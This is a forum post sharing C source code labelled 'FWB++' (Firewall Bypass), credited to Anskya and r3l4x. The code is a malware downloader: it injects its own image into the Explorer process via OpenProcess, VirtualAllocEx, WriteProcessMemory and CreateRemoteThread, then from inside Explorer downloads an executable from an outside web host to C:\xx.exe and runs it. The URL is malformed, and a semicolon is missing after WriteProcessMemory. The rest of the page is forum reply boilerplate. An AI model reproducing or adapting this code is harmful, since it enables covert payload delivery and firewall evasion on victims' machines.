Jump to content
Nytro

Fwb++

Recommended Posts

Posted

FWB++

FWB++ example by r3l4x[^_^]

(FWB stands for Firewall Bypass)

/*
Coder:Anskya,r3l4x[^_^]
*/
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
#pragma comment(linker,"/OPT:NOWIN98 /BASE:0x13140000 /INCREMENTAL:NO")
#pragma comment(linker,"/ENTRY:Entrypoint /MERGE:.rdata=.text /MERGE:.data=.text")
#pragma comment(lib, "urlmon.lib")

#include <windows.h>

unsigned long inject (void *)
{
URLDownloadToFile(0, "htt://Www.Anskya.Net/Test.exe", "C:\\xx.exe", 0, 0);
WinExec("C:\\xx.exe", SW_SHOW);
ExitThread(0);
return 0;
}

void Entrypoint()
{
DWORD Size;
PBYTE module;
HANDLE process;
DWORD PID;
LPVOID NewModule;

module = (PBYTE)GetModuleHandle(0);
Size = ((PIMAGE_NT_HEADERS)(module+((PIMAGE_DOS_HEADER)module)->e_lfanew))->OptionalHeader.SizeOfImage;
GetWindowThreadProcessId(FindWindow("shell_traywnd", NULL), &PID);
process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
VirtualFreeEx(process, module, 0, MEM_RELEASE);
NewModule = VirtualAllocEx(process, module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(process, NewModule, module, Size, NULL)
CreateRemoteThread(process, 0, 0, (unsigned long(__stdcall *)(void *))inject, module, 0, NULL);
}

Sursa: LeetCoders

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...